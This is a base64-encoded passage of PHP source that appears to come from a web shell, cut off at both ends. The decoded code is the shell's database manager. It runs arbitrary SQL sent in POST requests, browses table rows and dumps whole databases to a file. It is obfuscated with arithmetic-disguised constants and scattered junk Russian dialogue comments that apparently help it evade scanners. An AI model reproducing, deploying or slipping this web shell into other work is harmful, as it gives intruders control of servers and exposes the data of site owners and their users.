40YLQuNGA0L7QstCw0Lsg0LzQtdC90Y8g0L7QsdGA0LDRgtC90L4hICovCiAgICAkdG1wOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDQstCw0LvQuNC8INC+0YLRgdGO0LTQsCDQsdGL0YHRgtGA0LXQuSEgKi8KICAgICAgICAiPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pID8gJycgOiAnIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNfZGI9JyIgLiBAYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pIC4gIic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YucDIudmFsdWUgPSB0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkLnNmLnN1Ym1pdCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+IjsKICAgIGlmIChpc3NldCgkZGIpICYmIC8qIDxEYXZpZCBCbGFpbmU+OiDQrdC5LCDRjdC5LCDRgNC10LHRj9GC0LAsINC10YnRkSDQvtC00LjQvSDRgtGA0Y7Quiwg0LXRidGRINC+0LTQuNC9INGE0L7QutGD0YEuLi4gKi8KICAgICAgICAkZGItPmxpbmsKICAgICkgewogICAgICAgIGVjaG8gLyogPFBldGVyPjog0JjQtNC4INCyINC/0LXQvdGMLCDQsCDRgtC+INGJ0LDRgSDQvNC10L3RgtC+0LIg0L/QvtC30L7QstGDISAqLwogICAgICAgICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CiAgICAgICAgICAgIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCt0LksINC/0L7QtNC+0LbQtNC40YLQtSwg0L/QsNGA0L3QuCwg0L/QvtGB0LvQtdC00L3QuNC5LCDQvtCx0LXRidCw0Y4uINCt0LksINGA0LXQsdGP0YLQsCEgKi8KICAgICAgICAgICAgIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwogICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKICAgICAgICAgICAgd2hpbGUgKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CiAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkdmFsdWUgLiAnJykpOwogICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwogICAgICAgICAgICAgICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0JXRgdC70Lgg0LLRiyDQtNCw0LTQuNGC0LUg0LzQvdC1INC/0L7QutCw0LfQsNGC0Ywg0LXRidGRINC+0LTQuNC9INGE0L7QutGD0YEsINGPINC00LDQvCDQstCw0Lwg0YHRgtC+INC00L7Qu9C70LDRgNC+0LIuICovCiAgICAgICAgICAgICAgICAgICAgIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciIC4gJHZhbHVlIC4gIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIiAuICR2YWx1ZSAuICInLDEpXCI+IiAuICR2YWx1ZSAuICI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSA/ICcmbmJzcDsnIDogIiA8c21hbGw+KHskblsnbiddfSk8L3NtYWxsPiIpIC4gIjwvbm9icj48YnI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQn9C+0LfQstC+0LvRjNGC0LUg0L/QvtC60LDQt9Cw0YLRjCDQvNC90LUg0LLQsNC8INC10YnRkSDQvtC00LjQvSDRhNC+0LrRg9GBLCDQuCDRjyDQtNCw0Lwg0LLQsNC8INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyLiAqLwogICAgICAgICAgICAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PGJyPkZpbGUgcGF0aDo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZmlsZSB2YWx1ZT0nZHVtcC5zcWwnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKICAgICAgICAgICAgaWYgKEAkX1BPU1RbJ3AxJ10gPT0gLyogPFBldGVyPjog0JTQsNGI0Ywg0LzQvdC1INGB0YLQviDQtNC+0LvQu9Cw0YDQvtCyPyAqLwogICAgICAgICAgICAgICAgJ3NlbGVjdCcKICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddID8gJF9QT1NUWydwMyddIDogcm91bmQoMCArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyk7CiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsKICAgICAgICAgICAgICAgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gcm91bmQoMCArIDEwICsgMTAgKyAxMCkpOwogICAgICAgICAgICAgICAgZWNobyAvKiA8QXZvbj46INCi0Ysg0YHQvNC+0LbQtdGI0Ywg0LrRg9C/0LjRgtGMINGC0L7RgiDRiNCw0YDRhNC40LohICovCiAgICAgICAgICAgICAgICAgICAgIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+IiAuICRfUE9TVFsncDInXSAuICI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7CiAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsKICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AzJ10gPiByb3VuZCgwICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzKSkgZWNobyAvKiA8UGV0ZXI+OiDQotC+0YfQvdC+ISDQl9Cw0YjQuNCx0LjRgdGMLCDQs9C+0L3QuCDRgdGC0L4g0LHQsNC60YHQvtCyLiAqLwogICAgICAgICAgICAgICAgICAgICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSAtIHJvdW5kKDAgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsKICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCc0L7Qs9GDINGPINC30LDQudGC0Lg/ICovCiAgICAgICAgICAgICAgICAgICAgIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddICsgcm91bmQoMCArIDAuNSArIDAuNSkpIC4gIiknPk5leHQgJmd0OzwvYT4iOwogICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07CiAgICAgICAgICAgICAgICBpZiAoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bnc3FsJykgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJyAuICRfUE9TVFsncDInXSAuICcgTElNSVQgMzAgT0ZGU0VUICcgLiAoJF9QT1NUWydwMyddICogcm91bmQoMCArIDMwKSk7IGVsc2UgLyogPFBldGVyPjog0J3RgyDQu9Cw0LTQvdC+LCDQv9C+0YjQu9C4Li4uICovCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJyAuICRfUE9TVFsncDInXSAuICdgIExJTUlUICcgLiAoJF9QT1NUWydwMyddICogcm91bmQoMCArIDMwKSkgLiAnLDMwJzsKICAgICAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0KLRiyDRgtC+0YfQvdC+INC00LXQvdGM0LPQuCDQtNCw0YjRjD8gKi8KICAgICAgICAgICAgICAgICI8YnI+PGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKChAJF9QT1NUWydwMSddID09IC8qIDxBdm9uPjog0JTQvtCx0YDQviDQv9C+0LbQsNC70L7QstCw0YLRjCDQsiDQtNC+0LwuICovCiAgICAgICAgICAgICAgICAgICAgJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkKICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgaWYgKCRkYi0+cmVzIC8qIDxQZXRlcj46INCYINCy0L7RgiDQvNGLINCyINC80L7QtdC5INC60LLQsNGA0YLQuNGA0LUsINC4INGH0L4/ICovCiAgICAgICAgICAgICAgICAgICAgIT09IC8qIDxEYXZpZCBCbGFpbmU+OiDQktC+0YIg0Y3RgtC+INGH0YLQviDRgtCw0LrQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgIGZhbHNlCiAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCc0L7QuSDQstC40LTQsNC6LiAqLwogICAgICAgICAgICAgICAgICAgICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwogICAgICAgICAgICAgICAgICAgICRsaW5lID0gcm91bmQoMCArIDAuMzMzMzMzMzMzMzMzMzMgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRpdGxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQmNC90YLQtdGA0LXRgdC90L4uLi4g0KHQtNC10LvQsNC5INC80L3QtSDQvtC00L7Qu9C20LXQvdC40LUsINC90LDQudC00Lgg0Lr